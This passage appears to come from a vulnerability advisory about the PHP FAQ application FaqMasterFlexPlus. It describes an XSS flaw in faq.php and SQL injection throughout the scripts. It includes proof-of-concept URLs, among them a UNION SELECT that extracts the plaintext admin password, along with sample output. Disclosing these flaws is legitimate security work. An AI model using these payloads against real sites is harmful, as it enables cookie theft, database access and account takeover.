II. Description

        Multiple flaws in FaqMasterFlexPlus have been discovered:


        1) Cross Site Scripting:
                
                The script faq.php suffers an XSS bug, specifically the variable
$cat_name it's not properly sanitized,
                an attacker exploiting this flaw can perform an XSS attack to access
the targeted user cookies.

                All Admin scripts to add/edit/delete categories and add/edit/delete
faq don't parse correctly the user supplied input too.


                PoC: http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]



        2) SQL Injection (to exploit this issue it's necesarry
magic_quotes_gpc set to Off in the php.ini file).

                All the scripts suffers for sql injections attacks in the querys to
the database.

                PoC: http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*
                

                Then get a new line like this:

                        Q faquser@localhost


                or a Proof of Concept to get the admin password:


                
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin

                

                Q supersecretpassword

        
                bingo! ;)



                Besides password is stored in plain text, this is a big security flaw.



                This software is infected with many bugs and must be fully audited
for enforce the security.
